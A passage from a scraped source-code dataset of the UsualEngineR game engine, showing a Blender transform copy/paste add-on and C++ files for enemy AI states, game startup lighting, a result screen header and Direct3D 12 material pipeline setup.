TFClipbord.MAX_HISTRY:\n TFClipbord.rotList = TFClipbord.rotList[1:]\n def AddSca(sca):\n TFClipbord.scaList.append(sca)\n if len(TFClipbord.scaList) > TFClipbord.MAX_HISTRY:\n TFClipbord.scaList = TFClipbord.scaList[1:]\n \n def GetPos():\n return TFClipbord.posList[-1]\n def GetRot():\n return TFClipbord.rotList[-1]\n def GetSca():\n return TFClipbord.scaList[-1]\n \n \ndef CalcEditMeshVertexMedianPosition(mesh,worldMat):\n bpy.ops.object.mode_set(mode=\"OBJECT\")\n v_sel = [v.co for v in mesh.vertices if v.select]\n pos = sum(v_sel,math.Vector()) / len(v_sel)\n #print(worldMat @ pos)\n bpy.ops.object.mode_set(mode=\"EDIT\")\n return worldMat @ pos\n\ndef SetEditMeshVertexPosition(pos,obj,worldMat):\n bpy.ops.object.mode_set(mode=\"OBJECT\")\n mesh = obj.data\n bm = bmesh.new()\n bm.from_mesh(mesh)\n #bm = bmesh.from_edit_mesh(mesh)\n \n iworldMat = worldMat.copy()\n iworldMat.invert()\n lpos = iworldMat @ pos\n print(lpos)\n \n v_sel = [v.co for v in mesh.vertices if v.select]\n avpos = sum(v_sel,math.Vector()) / len(v_sel)\n for v in bm.verts:\n if not v.select:\n continue\n baseVec = v.co - avpos\n newpos = baseVec + lpos\n v.co = newpos\n bm.to_mesh(mesh)\n bm.free()\n #bmesh.update_edit_mesh(mesh)\n bpy.ops.object.mode_set(mode=\"EDIT\")\n \n##\n## COPY\n##\n \n#copy position\nclass OT_CopyPosition(bpy.types.Operator):\n bl_idname = \"copytransform.copyposition\"\n bl_label = \"Copy Position\"\n \n def invoke(self,context,event):\n if SelectAttr.select_mode == \"OBJECT\":\n pos = bpy.context.active_object.location\n TFClipbord.AddPos(pos)\n print(\"copy\")\n print(pos)\n elif SelectAttr.select_mode == \"EDIT\":\n wmat = bpy.context.active_object.matrix_world\n mesh = bpy.context.active_object.data\n pos = CalcEditMeshVertexMedianPosition(mesh,wmat)\n TFClipbord.AddPos(pos)\n return {'FINISHED'}\n\n def execute(self,context):\n return {\"FINISHED\"}\n \n#copy bone head position \nclass OT_CopyPosition_Head(bpy.types.Operator):\n bl_idname = \"copytransform.copyposition_head\"\n bl_label = \"Copy Position Head\"\n \n def invoke(self,context,event):\n wmat = context.active_object.matrix_world\n for bone in context.active_object.data.edit_bones:\n if bone.select_head:\n TFClipbord.AddPos(wmat @ bone.head)\n break\n return {'FINISHED'}\n\n def execute(self,context):\n return {\"FINISHED\"}\n \n# copy bone tail position\nclass OT_CopyPosition_Tail(bpy.types.Operator):\n bl_idname = \"copytransform.copyposition_tail\"\n bl_label = \"Copy Position Tail\"\n \n def invoke(self,context,event):\n wmat = context.active_object.matrix_world\n for bone in context.active_object.data.edit_bones:\n if bone.select_tail:\n TFClipbord.AddPos(wmat @ bone.tail)\n return {'FINISHED'}\n\n def execute(self,context):\n return {\"FINISHED\"}\n \n##\n## PASTE\n##\n\n#paste position \nclass OT_PastePosition(bpy.types.Operator):\n bl_idname = \"copytransform.pasteposition\"\n bl_label = \"Paste Position\"\n \n def invoke(self,context,event):\n if SelectAttr.select_mode == \"OBJECT\":\n pos = TFClipbord.GetPos()\n bpy.context.active_object.location = pos\n print(\"paste\")\n print(pos)\n elif SelectAttr.select_mode == \"EDIT\":\n pos = TFClipbord.GetPos()\n #mesh = bpy.context.active_object.to_mesh()\n #mesh.update()\n wmat = bpy.context.active_object.matrix_world\n SetEditMeshVertexPosition(pos,bpy.context.active_object,wmat)\n #mesh.update()\n print(\"paste edit\")\n return {'FINISHED'}\n\n def execute(self,context):\n \n return {\"FINISHED\"}\n\n#paste bone head position \nclass OT_PastePosition_Head(bpy.types.Operator):\n bl_idname = \"copytransform.pasteposition_head\"\n bl_label = \"Paste Position Head\"\n \n def invoke(self,context,event):\n wmat = context.active_object.matrix_world.copy()\n wmat.invert()\n for bone in context.active_object.data.edit_bones:\n if bone.select_head:\n #print(bone)\n bone.head = wmat @ TFClipbord.GetPos()\n break\n return {'FINISHED'}\n\n def execute(self,context):\n return {\"FINISHED\"}\n \n# paste bone tail position\nclass OT_PastePosition_Tail(bpy.types.Operator):\n bl_idname = \"copytransform.pasteposition_tail\"\n bl_label = \"Paste Position Tail\"\n \n def invoke(self,context,event):\n wmat = context.active_object.matrix_world.copy()\n wmat.invert()\n for bone in context.active_object.data.edit_bones:\n if bone.select_tail:\n #print(bone)\n bone.tail = wmat @ TFClipbord.GetPos()\n break\n return {'FINISHED'}\n\n def execute(self,context):\n return {\"FINISHED\"}\n\n##\n## INITIALIZE\n##\n\nclasss = (\n CopyTransform_PT_Panel,\n OT_CopyPosition,\n OT_CopyPosition_Head,\n OT_CopyPosition_Tail,\n OT_PastePosition,\n OT_PastePosition_Head,\n OT_PastePosition_Tail,\n)\n\ndef register():\n for c in classs:\n bpy.utils.register_class(c)\n \n\ndef unregister():\n for c in classs:\n bpy.utils.unregister_class(c)\n \nif __name__ == \"__main__\":\n register()"
},
{
"alpha_fraction": 0.6859070658683777,
"alphanum_fraction": 0.6934033036231995,
"avg_line_length": 20.88524627685547,
"blob_id": "5d4073b5c71fda47ad2ee6cac7b72f5b65d02377",
"content_id": "0099c905e11ebe6977af95a2560344cff2e3005a",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 1334,
"license_type": "no_license",
"max_line_length": 59,
"num_lines": 61,
"path": "/Game/Enemy/State/EnemyBattleState.cpp",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "#include \"stdafx.h\"\n#include \"EnemyBattleState.h\"\n#include \"../IEnemy.h\"\n#include \"../EnemyManager.h\"\n#include \"../../Player/Player.h\"\n#include \"GameManager.h\"\n\nEnemyBattleState::EnemyBattleState() {\n}\n\nEnemyBattleState::~EnemyBattleState() {\n}\n\nvoid EnemyBattleState::Enter(IEnemy* e) {\n\n\te->PlayAnimation(IEnemy::EnAnimation::enRun);\n\n#ifdef _PRINT_ENEMY_STATE\n\tDebugPrint_WATA(\"Enter battle\\n\");\n#endif // _PRINT_ENEMY_STATE\n}\n\nIEnemyState* EnemyBattleState::Update(IEnemy* e) {\n\n\tauto player = GameManager::GetInstance().m_player;\n\n\tif (player->GetCurrentHP() <= 0) {\n\t\treturn e->GetState(TO_INT(IEnemy::EnState::enIdleState));\n\t}\n\n\tauto& epos = e->GetPosition();\n\tauto& ppos = player->GetPosition();\n\tauto vecToPlayer = ppos - epos;\n\tconst float distLimit = 20.f;\n\tconst float attackRange = 30.f;\n\n\tif (vecToPlayer.Length() < attackRange) {\n\t\treturn e->GetState(TO_INT(IEnemy::EnState::enAttackA));\n\t}\n\n\t//Chase\n\tif (vecToPlayer.Length() > distLimit) {\n\t\tvecToPlayer.Normalize();\n\t\tconst float speed = 50.f;\n\t\tauto velocity = vecToPlayer * speed;\n\n\t\tvelocity.y = -10.f;\n\n\t\te->SetVelocity(velocity);\n\t}\n\t//if (g_pad[0]->IsTrigger(enButtonA)) {\n\t\t//return e->GetState(IEnemy::EnState::enIdleState);\n\t//}\n\treturn this;\n}\n\nvoid EnemyBattleState::Exit(IEnemy* e) {\n#ifdef _PRINT_ENEMY_STATE\n\tDebugPrint_WATA(\"Exit battle\\n\");\n#endif\n}"
},
{
"alpha_fraction": 0.5543985366821289,
"alphanum_fraction": 0.6014362573623657,
"avg_line_length": 21.44354820251465,
"blob_id": "d2772cf09ec4e941f3f12a925c237b679593a7d5",
"content_id": "5dd033419a17cfeeda422f8788caf7c8df9a52b6",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 3043,
"license_type": "no_license",
"max_line_length": 107,
"num_lines": 124,
"path": "/Game/main.cpp",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "SHIFT_JIS",
"text": "#include \"stdafx.h\"\n\n\n#include \"Game.h\"\n#include \"Title.h\"\n#include \"OpeningScene.h\"\n#include \"Test/Test.h\"\n#include \"Result.h\"\n#include \"GameDebugger.h\"\n\n\nconst int NUM_DIRECTIONAL_LIGHT = 4;\t//ディレクションライトの数。\n\n/// <summary>\n/// ディレクションライト。\n/// </summary>\nstruct DirectionalLight {\n\tVector3 direction;\t//ライトの方向。\n\tfloat pad0;\t\t\t//パディング。\n\tVector4 color;\t\t//ライトのカラー。\n};\n/// <summary>\n/// ライト構造体。\n/// </summary>\nstruct Light {\n\tDirectionalLight directionalLight[NUM_DIRECTIONAL_LIGHT];\t//ディレクションライト。\n\tVector3 eyePos;\t\t\t\t\t//カメラの位置。\n\tfloat specPow;\t\t\t\t\t//スペキュラの絞り。\n\tVector3 ambinetLight;\t\t\t//環境光。\n};\n\n#define USE_UNITY_CHAN 0\n#define USE_NINJA 1\n#define USE_ROBO 2\n\n#define USE_MODEL 2\n\n\n\n\n\n\n///////////////////////////////////////////////////////////////////\n// ウィンドウプログラムのメイン関数。\n///////////////////////////////////////////////////////////////////\nint WINAPI wWinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPWSTR lpCmdLine, int nCmdShow)\n{\n\t//ゲームの初期化。\n\tInitGame(hInstance, hPrevInstance, lpCmdLine, nCmdShow, TEXT(\"Game\"));\n\n\n\t\n\t/*AllocConsole();\n\tfreopen(\"CON\", \"r\", stdin);\n\tfreopen(\"CON\", \"w\", stdout);\n\tfreopen(\"CON\", \"w\", stderr);*/\n\t\n\n\t//////////////////////////////////////\n\t// 初期化を行うコードを書くのはここまで!!!\n\t//////////////////////////////////////\n\t//auto& renderContext = g_graphicsEngine->GetRenderContext();\n\n\tbool isInit = false;\n\n\tSetDebugConsoleUser(EDebugConsoloUser::COMMON /*| EDebugConsoloUser::NOMOTO*/ | EDebugConsoloUser::WATA);\n\t\n\tGRandom().Init(0);\n\n\t\n\t//auto test = NewGO<Test>(0);\n\t//test->Test_CreateTransform();\n\n\tNewGO<Title>(1);\n\t//NewGO<OpeningScene>(0);\n\t//NewGO<Game>(0);\n\n\t//auto result = NewGO<Result>(0);\n\t//Result::SAttachmentPercentage ap;\n\t//ap.defaultAttachment = 1.f;\n\t//ap.meleeAttachment = 10.f;\n\t//ap.remoteAttachment = 100.f;\n\t//ap.bombAttachment = 1.f;\n\t//result->Init(60.0 * 30 + 20, 10, ap);\n\n\tNewGO<GameDebugger>(0);\n\t//Ghost Object test\n\t/*BoxCollider bc;\n\tbc.Create({ 50,50,50 });\n\tGhostObject go;\n\tgo.Create(&bc, Vector3::Zero, { 0,0,0,1 });*/\n\n\n\tVector3 dir = { 0.707,0.707,0 };\n\tdir.Normalize();\n\tauto lig = NewGO<LightDirection>(0);\n\tlig->SetDir(dir*-1.f);\n\tlig->SetCol(g_vec3One * 2.);\n\n\tlig = NewGO<LightDirection>(0);\n\tdir = { -0.1,-1,0 };\n\tdir.Normalize();\n\tlig->SetDir(dir * -1.f);\n\tlig->SetCol(Vector3(0.7,0.4,0.1) * .5);\n\tlig = NewGO<LightDirection>(0);\n\tdir = { 0,1,0 };\n\tdir.Normalize();\n\tlig->SetDir(dir * -1.f);\n\tlig->SetCol(Vector3(0.3, 0.4, 0.9) * .7);\n\n\tlig = NewGO<LightDirection>(0);\n\tlig->SetDir(Vector3{ -0.707,0.707,0 }*-1.f);\n\tlig->SetCol(g_vec3One * 0.3);\n\tlig = NewGO<LightDirection>(0);\n\tlig->SetDir(Vector3{ 0,0.707,-0.707 }*-1.f);\n\tlig->SetCol(g_vec3One * 0.1);\n\tlig = NewGO<LightDirection>(0);\n\tlig->SetDir(Vector3{ 0,0.707,0.707 }*-1.f);\n\tlig->SetCol(g_vec3One * 0.1);\n\n\tg_engine->GameLoop();\n\t\n\treturn 0;\n}\n\n\n"
},
{
"alpha_fraction": 0.6060177087783813,
"alphanum_fraction": 0.648141622543335,
"avg_line_length": 18.482759475708008,
"blob_id": "4486ccb33ff7ebfba5f764a7518303b91dd88ce6",
"content_id": "b879d9408a84a17ee025c95c50771ce799ca89e8",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 3159,
"license_type": "no_license",
"max_line_length": 95,
"num_lines": 145,
"path": "/Game/Result.h",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "#pragma once\n#include \"level/Level.h\"\n\n/// <summary>\n/// \n/// </summary>\nclass Result :public GameObject\n{\npublic:\n\tResult();\n\tvirtual ~Result();\n\n\tstruct SAttachmentPercentage {\n\t\tfloat defaultAttachment;\n\t\tfloat meleeAttachment;\n\t\tfloat remoteAttachment;\n\t\tfloat bombAttachment;\n\t};\n\n\t/// <summary>\n\t/// 本開放。確保したものを開放するための関数。\n\t/// </summary>\n\tvirtual void Release() override;\n\n\t/// <summary>\n\t/// このオブジェクトの所持するゲームオブジェクト等を消すための関数。\n\t/// 面倒くさければRelease関数と同じでもよい。\n\t/// </summary>\n\tvirtual void OnDestroy() override;\n\n\t/// <summary>\n\t/// NewGO時に即座に呼ばれる関数。\n\t/// コンストラクタの代わりに使おう。\n\t/// </summary>\n\tvoid Awake() override;\n\n\t/// <summary>\n\t/// スタート関数。\n\t/// </summary>\n\t/// <returns>trueを返さない限り、ずっとStartを呼び続ける</returns>\n\tbool Start() override;\n\n\t/// <summary>\n\t/// 更新。の前に呼ばれる更新。\n\t/// </summary>\n\tvoid PreUpdate() override;\n\t/// <summary>\n\t/// 更新。\n\t/// </summary>\n\tvoid Update() override;\n\t/// <summary>\n\t/// 更新。の後に呼ばれる更新。\n\t/// </summary>\n\tvoid PostUpdate() override;\n\n\t/// <summary>\n\t/// 描画。\n\t/// </summary>\n\tvoid Render() override;\n\n\t/// <summary>\n\t/// 手前に表示するやつの描画。\n\t/// </summary>\n\tvoid PostRender() override;\n\n\tvoid Init(const double clearTime, const int eliminateCount, const SAttachmentPercentage data);\n\nprivate:\n\n\tfloat m_clearTime = 0.f;\n\tstd::vector<ModelRender*> m_robots;\n\tconst Vector3 m_scale = { 1.5f,1.5f,1.5f };\n\tint m_numRobot = 50;\n\n\tModelRender* m_ground = nullptr;\n\tModelRender* m_back = nullptr;\n\tModelRender* m_magma = nullptr;\n\n\tconst Vector3 m_resultCameraPos = Vector3(0.f, 9.f, 8.2f);\n\tconst Vector3 m_resultCameraTarget = Vector3(0.f, 5.f, 0.f);\n\n\n\t\n\n\t//Back Sprite\n\tSpriteRender* m_backSprite = nullptr;\n\tVector3 m_backSpPos = Vector3(0.f, 220.f, 0.f);\n\t//Vector3 m_backSpScale = Vector3(5.5f, 2.f, 1.f);\n\tVector3 m_backSpScale = Vector3(1.f, 1.f, 1.f);\n\n\tLevel m_level;\n\tLevel m_deathLevel;\n\tLevel m_backLevel;\n\t\n\tconst float m_levelScale = 1.5f;\n\n\tbool m_isTriggeredButtonA = false;\n\n\tdouble m_clearSec = 0.f;\n\tint m_corpseCount = 0;\n\n\tSAttachmentPercentage m_attachmentPercentageData;\n\n\tint m_displayRoboCount = 0;\n\tint m_robotCount = 0;\n\n\n\t//FONT\n\tenum class FONT_TYPE {\n\t\tTIME = 0,\n\t\tPOW = 2,\n\t\tCORPSE = 4,\n\t\tDEF = 6,\n\t\tMELEE = 8,\n\t\tREMOTE = 10,\n\t\tBOMB = 12\n\t};\n\n\tstatic const int m_NUM_FONTS = 14;\n\tFont m_fonts[1];\n\tVector2 m_fontsPos[m_NUM_FONTS];\n\tstd::wstring m_texts[m_NUM_FONTS];\n\n\tconst Vector4 m_FontColor = {0.9,0.9 ,0.9 ,1};\n\tconst float m_fontRot = 0.f;\n\tconst float m_leftFontSca = 1.f;\n\tconst float m_rightFontSca = 0.8f;\n\n\tconst float X1 = -580.f;\n\tconst float X2 = -300.f;\n\tconst float X3 =\t100.f;\n\tconst float X4 =\t400.f;\n\n\tconst float Y1 = 300.f;\n\tconst float LeftYSpace = 40.f;\n\tconst float RightYSpace =30.f;\n\n\tSpriteRender* m_attachBack[4] = {nullptr};\n\tVector4 m_attachColor[4] = {\n\t\t{ 0.5,0.5 ,0.5,1.f },\n\t\t{ 0.,0.8 ,0.,1.f },\n\t\t{ 0.8,0. ,0.,1.f },\n\t\t{ 0.,0. ,0.8,1.f }\n\t};\n};\n"
},
{
"alpha_fraction": 0.760869562625885,
"alphanum_fraction": 0.760869562625885,
"avg_line_length": 22.5,
"blob_id": "c9127e02b6d32e32e0fcd650d1d292bd97c04fa0",
"content_id": "5609ba870a598f30c8c576045cdbfd132248b0fb",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 46,
"license_type": "no_license",
"max_line_length": 23,
"num_lines": 2,
"path": "/UsualEngineR/util/Stopwatch.cpp",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "#include \"PreCompile.h\"\n#include \"Stopwatch.h\""
},
{
"alpha_fraction": 0.6990671753883362,
"alphanum_fraction": 0.7351629137992859,
"avg_line_length": 34.22380828857422,
"blob_id": "f8a51d7cc7fa5f9502e62e3fe10d79ff17663bcb",
"content_id": "13ab15a607af9df42f78b37a3db4ef61c112ab73",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 7769,
"license_type": "no_license",
"max_line_length": 110,
"num_lines": 210,
"path": "/UsualEngineR/Graphics/Material.cpp",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "#include \"PreCompile.h\"\n#include \"Material.h\"\n\n#include \"PreRender/GBuffer.h\"\n\nnamespace UER\n{\n\t\n\t//ルートシグネチャとパイプラインステート周りはカリカリカリ\n\tenum {\n\t\tenDescriptorHeap_CB,\n\t\tenDescriptorHeap_SRV,\n\t\tenNumDescriptorHeap\n\t};\n\t\t\n\tvoid Material::InitTexture(const TkmFile::SMaterial& tkmMat)\n\t{\n\t\tif (tkmMat.albedoMap != nullptr) {\n\t\t\tm_albedoMap.InitFromMemory(tkmMat.albedoMap.get(), tkmMat.albedoMapSize,tkmMat.albedoMapFileName);\n\t\t}\n\t\tif (tkmMat.normalMap != nullptr) {\n\t\t\tm_normalMap.InitFromMemory(tkmMat.normalMap.get(), tkmMat.normalMapSize,tkmMat.normalMapFileName);\n\t\t}\n\t\tif (tkmMat.specularMap != nullptr) {\n\t\t\tm_specularMap.InitFromMemory(tkmMat.specularMap.get(), tkmMat.specularMapSize,tkmMat.specularMapFileName);\n\t\t}\n\t}\n\tvoid Material::InitFromTkmMaterila(\n\t\tconst TkmFile::SMaterial& tkmMat,\n\t\tconst wchar_t* fxFilePath,\n\t\tconst wchar_t* psfxFilePath,\n\t\tconst char* vsEntryPointFunc,\n\t\tconst char* psEntryPointFunc)\n\t{\n\t\t//テクスチャをロード。\n\t\tInitTexture(tkmMat);\n\t\t\n\t\t//定数バッファを作成。\n\t\tSMaterialParam matParam;\n\t\tmatParam.hasNormalMap = m_normalMap.IsValid() ? 1 : 0;\n\t\tmatParam.hasSpecMap = m_specularMap.IsValid() ? 1 : 0;\n\t\tm_constantBuffer.Init(sizeof(SMaterialParam), &matParam);\n\t\n\t\t//ルートシグネチャを初期化。\n\t\tm_rootSignature.Init(\n\t\t\tD3D12_FILTER_MIN_MAG_MIP_LINEAR,\n\t\t\tD3D12_TEXTURE_ADDRESS_MODE_WRAP,\n\t\t\tD3D12_TEXTURE_ADDRESS_MODE_WRAP,\n\t\t\tD3D12_TEXTURE_ADDRESS_MODE_WRAP);\n\n\t\t/*RootSignature::TableInitData tid[3] = {0};\n\t\ttid[0].maxCBV = 1;\n\t\ttid[0].maxSRV = 10;\n\t\ttid[0].maxUAV = 0;\n\t\ttid[0].baseRegisterCBV = 0;\n\t\ttid[0].baseRegisterSRV = 0;\n\t\ttid[0].baseRegisterUAV = 0;\n\t\ttid[1].maxCBV = 1;\n\t\ttid[1].maxSRV = 0;\n\t\ttid[1].maxUAV = 0;\n\t\ttid[1].baseRegisterCBV = 1;\n\t\ttid[1].baseRegisterSRV = 0;\n\t\ttid[1].baseRegisterUAV = 0;\n\t\ttid[2].maxCBV = 1;\n\t\ttid[2].maxSRV = 0;\n\t\ttid[2].maxUAV = 0;\n\t\ttid[2].baseRegisterCBV = 2;\n\t\ttid[2].baseRegisterSRV = 0;\n\t\ttid[2].baseRegisterUAV = 0;\n\n\t\tm_rootSignature.Init(\n\t\t\tD3D12_FILTER_MIN_MAG_MIP_LINEAR,\n\t\t\tD3D12_TEXTURE_ADDRESS_MODE_WRAP,\n\t\t\tD3D12_TEXTURE_ADDRESS_MODE_WRAP,\n\t\t\tD3D12_TEXTURE_ADDRESS_MODE_WRAP,\n\t\t\t3, tid\n\t\t);*/\n\t\n\t\t//シェーダーを初期化。\n\t\tInitShaders(fxFilePath, psfxFilePath, vsEntryPointFunc, psEntryPointFunc);\n\t\n\t\t//パイプラインステートを初期化。\n\t\tInitPipelineState();\n\t\n\t}\n\tvoid Material::InitEmmission(const wchar_t* emsPath)\n\t{\n\t\tm_emmissionMap.InitFromDDSFile(emsPath);\n\t\tm_isLoadEmmission = true;\n\t}\n\tvoid Material::InitPipelineState()\n\t{\n\t\t// 頂点レイアウトを定義する。\n\t\tD3D12_INPUT_ELEMENT_DESC inputElementDescs[] =\n\t\t{\n\t\t\t{ \"POSITION\", 0, DXGI_FORMAT_R32G32B32_FLOAT, 0, 0, D3D12_INPUT_CLASSIFICATION_PER_VERTEX_DATA, 0 },\n\t\t\t{ \"NORMAL\", 0, DXGI_FORMAT_R32G32B32_FLOAT, 0, 12, D3D12_INPUT_CLASSIFICATION_PER_VERTEX_DATA, 0 },\n\t\t\t{ \"TANGENT\", 0, DXGI_FORMAT_R32G32B32_FLOAT, 0, 24, D3D12_INPUT_CLASSIFICATION_PER_VERTEX_DATA, 0 },\n\t\t\t{ \"BINORMAL\", 0, DXGI_FORMAT_R32G32B32_FLOAT, 0, 36, D3D12_INPUT_CLASSIFICATION_PER_VERTEX_DATA, 0 },\n\t\t\t{ \"TEXCOORD\", 0, DXGI_FORMAT_R32G32_FLOAT, 0, 48, D3D12_INPUT_CLASSIFICATION_PER_VERTEX_DATA, 0 },\n\t\t\t{ \"BLENDINDICES\", 0, DXGI_FORMAT_R32G32B32A32_UINT, 0, 56, D3D12_INPUT_CLASSIFICATION_PER_VERTEX_DATA, 0 },\n\t\t\t{ \"BLENDWEIGHT\", 0, DXGI_FORMAT_R32G32B32A32_FLOAT, 0, 72, D3D12_INPUT_CLASSIFICATION_PER_VERTEX_DATA, 0 },\n\t\t};\n\t\n\t\t//パイプラインステートを作成。\n\t\tD3D12_GRAPHICS_PIPELINE_STATE_DESC psoDesc = { 0 };\n\t\tpsoDesc.InputLayout = { inputElementDescs, _countof(inputElementDescs) };\n\t\tpsoDesc.pRootSignature = m_rootSignature.Get();\n\t\tpsoDesc.VS = CD3DX12_SHADER_BYTECODE(m_vsSkinModel.GetCompiledBlob());\n\t\tpsoDesc.PS = CD3DX12_SHADER_BYTECODE(m_psModel.GetCompiledBlob());\n\t\tpsoDesc.RasterizerState = CD3DX12_RASTERIZER_DESC(D3D12_DEFAULT);\n\t\tpsoDesc.BlendState = CD3DX12_BLEND_DESC(D3D12_DEFAULT);\n\t\tpsoDesc.DepthStencilState.DepthEnable = TRUE;\n\t\tpsoDesc.DepthStencilState.DepthWriteMask = D3D12_DEPTH_WRITE_MASK_ALL;\n\t\tpsoDesc.DepthStencilState.DepthFunc = D3D12_COMPARISON_FUNC_LESS_EQUAL;\n\t\tpsoDesc.DepthStencilState.StencilEnable = FALSE;\n\t\tpsoDesc.SampleMask = UINT_MAX;\n\t\tpsoDesc.PrimitiveTopologyType = D3D12_PRIMITIVE_TOPOLOGY_TYPE_TRIANGLE;\n\t\tpsoDesc.NumRenderTargets = TO_INT(EGBufferKind::NumKind);\n\t\tpsoDesc.RTVFormats[TO_INT(EGBufferKind::Diffuse)] = DXGI_FORMAT_R32G32B32A32_FLOAT;\t\t//アルベドカラー出力用。\n\t\tpsoDesc.RTVFormats[TO_INT(EGBufferKind::Normal)] = DXGI_FORMAT_R32G32B32A32_FLOAT;\t\t\t//法線出力用。\t\n\t\tpsoDesc.RTVFormats[TO_INT(EGBufferKind::Depth)] = DXGI_FORMAT_R32_FLOAT;\t//Z値。\n\t\tpsoDesc.RTVFormats[TO_INT(EGBufferKind::Specular)] = DXGI_FORMAT_R32_FLOAT;\t\t\t//法線出力用。\t\n\t\tpsoDesc.RTVFormats[TO_INT(EGBufferKind::Tangent)] = DXGI_FORMAT_R32G32B32A32_FLOAT;\t//Z値。\n\t\tpsoDesc.DSVFormat = DXGI_FORMAT_D32_FLOAT;\n\t\tpsoDesc.SampleDesc.Count = 1;\n\t\n\t\tm_skinModelPipelineState.Init(psoDesc);\n\n\n\t\t//続いてスキンなしモデル用を作成。\n\t\tpsoDesc.VS = CD3DX12_SHADER_BYTECODE(m_vsNonSkinModel.GetCompiledBlob());\n\t\tm_nonSkinModelPipelineState.Init(psoDesc);\n\n\n\n\t\t//SHADOW NON SKIN MODEL\n\t\tpsoDesc.NumRenderTargets = 1;\n\t\tpsoDesc.RTVFormats[0] = DXGI_FORMAT_R32_FLOAT;\t\t\t\t\t\t\t\t\t//light view depth。\n\t\tpsoDesc.RTVFormats[TO_INT(EGBufferKind::Normal)] = DXGI_FORMAT_UNKNOWN;\t\t\t//法線出力用。\t\n\t\tpsoDesc.RTVFormats[TO_INT(EGBufferKind::Depth)] = DXGI_FORMAT_UNKNOWN;\t\t\t//Z値。\n\t\tpsoDesc.RTVFormats[TO_INT(EGBufferKind::Specular)] = DXGI_FORMAT_UNKNOWN;\t\t//法線出力用。\t\n\t\tpsoDesc.RTVFormats[TO_INT(EGBufferKind::Tangent)] = DXGI_FORMAT_UNKNOWN;\t\t//Z値。\n\t\tpsoDesc.PS = CD3DX12_SHADER_BYTECODE(m_psShadow.GetCompiledBlob());\n\t\tpsoDesc.VS = CD3DX12_SHADER_BYTECODE(m_vsNonSkinShadow.GetCompiledBlob());\n\t\tm_shadowNonSkinModelPipelineState.Init(psoDesc);\n\n\t\t// SHADOW SKIN MODEL\n\t\tpsoDesc.VS = CD3DX12_SHADER_BYTECODE(m_vsSkinShadow.GetCompiledBlob());\n\t\tm_shadowSkinModelPipelineState.Init(psoDesc);\n\t\n\n\t\t////続いて半透明マテリアル用。\n\t\t//psoDesc.VS = CD3DX12_SHADER_BYTECODE(m_vsSkinModel.GetCompiledBlob());\n\t\t//psoDesc.BlendState.IndependentBlendEnable = TRUE;\n\t\t//psoDesc.BlendState.RenderTarget[0].BlendEnable = TRUE;\n\t\t//psoDesc.BlendState.RenderTarget[0].SrcBlend = D3D12_BLEND_SRC_ALPHA;\n\t\t//psoDesc.BlendState.RenderTarget[0].DestBlend = D3D12_BLEND_INV_SRC_ALPHA;\n\t\t//psoDesc.BlendState.RenderTarget[0].BlendOp = D3D12_BLEND_OP_ADD;\n\t\n\t\t//\n\t\t//m_transSkinModelPipelineState.Init(psoDesc);\n\t\n\t\t//psoDesc.VS = CD3DX12_SHADER_BYTECODE(m_vsNonSkinModel.GetCompiledBlob());\n\t\t//m_transNonSkinModelPipelineState.Init(psoDesc);\n\t\n\t}\n\tvoid Material::InitShaders(\n\t\tconst wchar_t* fxFilePath,\n\t\tconst wchar_t* psfxFilePath,\n\t\tconst char* vsEntryPointFunc,\n\t\tconst char* psEntryPointFunc\n\t)\n\t{\n\t\tm_vsNonSkinModel.LoadVS(fxFilePath, vsEntryPointFunc);\n\t\tm_vsSkinModel.LoadVS(fxFilePath, vsEntryPointFunc);\n\t\tm_psModel.LoadPS(psfxFilePath, psEntryPointFunc);\n\n\t\tm_vsSkinShadow.LoadVS(L\"Assets/shader/Shadow.fx\", \"VSMain_Skin\");\n\t\tm_vsNonSkinShadow.LoadVS(L\"Assets/shader/Shadow.fx\", \"VSMain_NonSkin\");\n\t\tm_psShadow.LoadPS(L\"Assets/shader/Shadow.fx\", \"PSMain\");\n\t}\n\tvoid Material::BeginRender(RenderContext& rc, int hasSkin)\n\t{\n\t\trc.SetRootSignature(m_rootSignature);\n\t\t\n\t\tif (hasSkin) {\n\t\t\trc.SetPipelineState(m_skinModelPipelineState);\n\t\t\t//rc.SetPipelineState(m_transSkinModelPipelineState);\n\t\t}\n\t\telse {\n\t\t\trc.SetPipelineState(m_nonSkinModelPipelineState);\n\t\t\t//rc.SetPipelineState(m_transNonSkinModelPipelineState);\n\t\t}\n\t}\n\n\tvoid Material::BeginRenderShadow(RenderContext& rc, int hasSkin)\n\t{\n\t\trc.SetRootSignature(m_rootSignature);\n\n\t\tif (hasSkin) {\n\t\t\trc.SetPipelineState(m_shadowSkinModelPipelineState);\n\t\t}\n\t\telse {\n\t\t\trc.SetPipelineState(m_shadowNonSkinModelPipelineState);\n\t\t}\n\t}\n\n\n}\n"
},
{
"alpha_fraction": 0.6328042149543762,
"alphanum_fraction": 0.6398589015007019,
"avg_line_length": 15.573099136352539,
"blob_id": "1a05695b88416066f33b1c423af3bb78d6997c34",
"content_id": "75941ece66f254d39959dcf4af5bfc15fdb82f5a",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 3539,
"license_type": "no_license",
"max_line_length": 58,
"num_lines": 171,
"path": "/UsualEngineR/GameObject/GameObject.h",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "SHIFT_JIS",
